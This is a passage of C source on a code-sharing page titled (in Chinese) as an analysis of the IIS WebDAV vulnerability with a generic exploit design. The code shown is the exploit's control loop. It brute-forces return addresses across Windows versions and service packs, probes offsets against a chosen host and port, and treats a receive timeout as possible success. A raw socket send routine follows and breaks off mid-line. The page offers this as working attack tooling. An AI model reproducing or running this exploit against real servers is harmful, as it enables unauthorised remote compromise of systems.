📄 webdav漏洞简单分析及通用exploit设计.html
字号:
iStartOffset = StartOffset;<br />
iEndOffset = EndOffset;<br />
}<br />
else<br />
{<br />
if((iOffset < StartOffset) || (iOffset > EndOffset))<br />
{<br />
usage();<br />
return;<br />
}<br />
else<br />
{<br />
iStartOffset = iOffset;<br />
iEndOffset = iOffset;<br />
}<br />
}<br />
<br />
if((iOsType > 2) || (iSP > 3))<br />
{<br />
usage();<br />
return;<br />
}<br />
//brute force<br />
if((iOsType == -1) && (iSP == -1))<br />
{<br />
memcpy(iRetAddrList, g_iRetAddrList, sizeof(iRetAddrList));<br />
iRetAddrNum = sizeof(iRetAddrList)/sizeof(int);<br />
}<br />
if((iOsType == -1) && (iSP != -1))<br />
{<br />
for(i=0;i<3;i++)<br />
iRetAddrList[iRetAddrNum++] = g_iRetAddrList[i][iSP];<br />
}<br />
if((iOsType != -1) && (iSP == -1))<br />
{<br />
for(i=3;i>=0;i--)<br />
iRetAddrList[iRetAddrNum++] = g_iRetAddrList[iOsType][i];<br />
}<br />
if((iOsType != -1) && (iSP != -1))<br />
iRetAddrList[iRetAddrNum++] = g_iRetAddrList[iOsType][iSP];<br />
<br />
printf( "IP\t\t:%s\n"<br />
"Host\t\t:%s\n"<br />
"Port\t\t:%d\n"<br />
"Offset\t\t:%d-%d\n"<br />
"iOffset\t\t:%d\n"<br />
"OsType\t\t:%d\n"<br />
"SP\t\t:%d\n"<br />
"RetAddrNum\t:%d\n",ip,host,iPort,iStartOffset, iEndOffset, <br />
iOffset,iOsType,<br />
iSP,iRetAddrNum);<br />
for(i=0;i<iRetAddrNum;i++)<br />
printf("%.8X ", iRetAddrList[i]);<br />
printf("\nStart exploit[y/n]:");<br />
if (getchar() == 'n') return;<br />
<br />
k=0;<br />
for(i=iStartOffset;i<=iEndOffset;i++)<br />
{<br />
//如果是猜测offset,先试23<br />
if(i==StartOffset) i=DefaultOffset;<br />
else if((i==DefaultOffset) && (iOffset==0)) continue;<br />
printf("try offset:%d\tuse retaddr:0x%.8X\n", i, iRetAddrList[k]);<br />
iRet = MakeExploit(iRetAddrList[k], i, host, ip, iPort);<br />
<br />
switch(iRet)<br />
{<br />
case ERROR_NOT_IIS:<br />
case ERROR_METHOD_NOT_SUPORT:<br />
case ERROR_OTHER:<br />
exit(1);<br />
break;<br />
case ERROR_CONNECT_FALIED:<br />
printf("can't connect to %s:%d", ip, iPort);<br />
//第一次就连接不上,或超出最大重试次数<br />
if( (i==DefaultOffset) || (g_iConnectError > MaxTry) )<br />
{<br />
printf(", exit.\n");<br />
exit(1);<br />
}<br />
printf(", wait for try again.\n");<br />
Sleep(5000); <br />
//same offset、retaddr try again<br />
i--;<br />
break;<br />
case ERROR_CONNECT_RESET:<br />
iCorrectOffset = i;<br />
break;<br />
case ERROR_RECV_TIMEOUT:<br />
printf("recv buff timeout.Maybe success?\n");<br />
exit(1);<br />
break;<br />
}<br />
if(i==DefaultOffset) i=6;<br />
if(iCorrectOffset) break;<br />
//getchar();<br />
}<br />
<br />
if(iCorrectOffset) <br />
printf( "-=-= we got correct offset:%d -=-=\n"<br />
"-=-= but retaddr %.8X error -=-=\n", iCorrectOffset, <br />
iRetAddrList[k]);<br />
else return;<br />
<br />
if(iRetAddrNum<2) return;<br />
//尝试其他retaddr<br />
for(k=1;k<iRetAddrNum;k++)<br />
{<br />
Sleep(5000);<br />
printf("use offset:%d\ttry retaddr:0x%.8X\n", iCorrectOffset, <br />
iRetAddrList[k]);<br />
iRet = MakeExploit(iRetAddrList[k], iCorrectOffset, host, ip, 80);<br />
switch(iRet)<br />
{<br />
case ERROR_CONNECT_FALIED:<br />
printf("can't connect to %s:%d", ip, iPort);<br />
if(g_iConnectError > MaxTry)<br />
{<br />
printf(", eixt.\n");<br />
exit(1);<br />
}<br />
else<br />
printf(", wait for try again.\n");<br />
k--;<br />
break;<br />
case ERROR_CONNECT_RESET:<br />
printf("retaddr error, wait for try another.\n");<br />
break;<br />
case ERROR_RECV_TIMEOUT:<br />
printf("recv buff timeout.Maybe success?\n");<br />
exit(1);<br />
break;<br />
default:<br />
exit(1);<br />
}<br />
}<br />
printf("Done.\n");<br />
}<br />
<br />
int SendBuffer(char *ip, int iPort, unsigned char *buff, int len)<br />
{<br />
struct sockaddr_in sa;<br />
WSADATA wsd;<br />
SOCKET s;<br />
int iRet, iErr;<br />
char szRecvBuff[0x1000];<br />
int i;<br />
<br />
iRet = ERROR_OTHER;<br />
memset(szRecvBuff, 0, sizeof(szRecvBuff));<br />
__try<br />
{<br />
if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)<br />
{<br />
printf("WSAStartup error:%d\n", WSAGetLastError());<br />
__leave;<br />
}<br />
<br />
s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);<br />
if(s == INVALID_SOCKET)<br />
{<br />
printf("\nCreate socket failed:%d",GetLastError());<br />
__leave;<br />
}<br />
//set socket recv timeout<br />
i=RecvTimeOut;<br />
setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,&i,sizeof(i));<br />
<br />
sa.sin_family=AF_INET;<br />
sa.sin_port=htons(iPort);<br />
sa.sin_addr.S_un.S_addr=inet_addr(ip);<br />
<br />
iErr = connect(s,(struct sockaddr *)&sa,sizeo
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -